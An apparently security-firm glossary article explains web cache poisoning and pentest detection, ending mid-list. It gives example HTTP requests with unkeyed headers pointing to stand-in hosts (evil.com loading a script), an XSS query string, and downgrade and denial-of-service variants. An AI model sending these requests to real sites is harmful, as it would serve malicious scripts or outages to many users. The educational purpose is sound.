Skip to content

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Angriffstechniken Glossary

Web Cache Poisoning - Cache-basierter Angriff

Web cache poisoning is an attack in which an attacker uses unkeyed HTTP headers or parameters to inject malicious content into a web cache. This cached content is then served to other users without contacting the origin server. Attack vectors: manipulated HTTP headers (X-Forwarded-Host, X-Forwarded-Scheme), fat cookies, query string parameters. Result: XSS, open redirect, denial of service against many users simultaneously.

Web Cache Poisoning is one of the most insidious classes of vulnerabilities—an attacker sends a single request that gets cached, and subsequently, potentially thousands of users receive malicious content. No direct access to other users is required: the cache handles the delivery.

Cache Mechanism and Keyed vs. Unkeyed

Normal Request Flow:

Client → CDN/Reverse Proxy → (Cache Miss) → Origin Server → Client ← CDN (Response cached)

Next Request: Client → CDN → (Cache Hit!) → Cached Response (no server contact!)

Cache Key (which identifies the cache entry):

  • Standard: URL + HTTP method
  • Optional: Accept-Encoding, Accept-Language, Cookies

Unkeyed Inputs (ignored by the cache, but processed by the origin!):

  • X-Forwarded-Host: evil.com
  • X-Forwarded-Scheme: http
  • X-Forwarded-Port: 8080
  • X-Host: attacker.com
  • X-Original-URL: /admin
  • X-Forwarded-For: 127.0.0.1
  • Certain HTTP headers (Via, X-Rewrite-URL)
  • Unknown query parameters: ?utm_content=<xss>

Attack principle:

  1. Attacker sends a request with a malicious unkeyed header
  2. Origin server processes this header (e.g., constructs a URL from it)
  3. Response contains attacker content and is cached WITHOUT the header
  4. Other users receive the same cached response

> Critical: Origin reflects unkeyed inputs in responses! Example: X-Forwarded-Host → is reflected in <script src="..."> eingebettet.

Angriffstypen

1. Web Cache Poisoning → XSS

GET /page HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil.com

Origin-Response (gecacht!):

&lt;script src=&quot;https://evil.com/static/analytics.js&quot;&gt;</script>

All subsequent users receive XSS payload via cache!

Variant - Query Parameter Reflection:

GET /search?<script>alert(1)</script>
term=&amp;utm;_content=CACHE HTTP/1.1
→ If `utm_content` is unkeyed: Response is cached WITH XSS in term reflection!

2. Cache Poisoning → Open Redirect

GET / HTTP/1.1
Host: victim.com
X-Forwarded-Scheme: http  (Origin builds redirect: http://victim.com/ → 301)

→ Cached 301 redirect to http (instead of https) → Downgrade attack + potential MITM chain

3. Fat GET Body / Parameter Cloaking

GET /api/data?legit=param HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

param=value&amp;evil;=injected
  • Some servers treat GET bodies as parameters (non-standard!)
  • Cache only uses the URL query string as a key, not the body
  • GET body parameters are "unkeyed"!

4. Cache Key Normalization Bypass

GET /admin HTTP/1.1  ←  Admin page (not cached due to auth)
GET /ADMIN HTTP/1.1  ←  Same response? Cache normalizes to /admin?

Application:

  • Cache normalizes away the port number: :443 is ignored
  • Cache normalizes URL encoding: %2F = /
  • Attacker sends /admin%2F?poison=1 → cached redirect to /admin/

5. Cache Poisoning → Denial of Service

GET /critical-resource HTTP/1.1
X-Forwarded-Scheme: https  (if only HTTP is allowed: 400 Error!)
  • Origin responds with 400 Bad Request
  • Cache caches the 400 error for /critical-resource
  • All users receive a 400 error for all requests!
  • Complete service disruption!

Detection in a Penetration Test

1. Burp Extension: param-miner

  • Automatically finds unkeyed headers and parameters!
  • Installation: Burp App Store → param-miner
  • Easy start: Right-click → Guess headers/params

2. Manual Testing - Identifying unkeyed headers

a) Understanding cache behavior:

  • Multiple requests: First time cache miss (X-Cache: MISS)
  • Second time: Cache hit (X-Cache: HIT)
  • Verify: Use a unique cache buster in the URL: GET /page?cachebuster=abc123

b) Test unkeyed headers:

GET /page?cb=001 HTTP/1.1
X-Forwarded-Host: test.com
→ Response: Does it contain &quot;test.com&quot;? (Reflection!)
→ Next request (without headers, same URL):
  GET /page?cb=001 HTTP/1.1
  → Is &quot;test.com&quot; still in the response? → The header is UNKEYED!

3. Finding dangerous reflection points

Search for unkeyed header content in the response:

  • `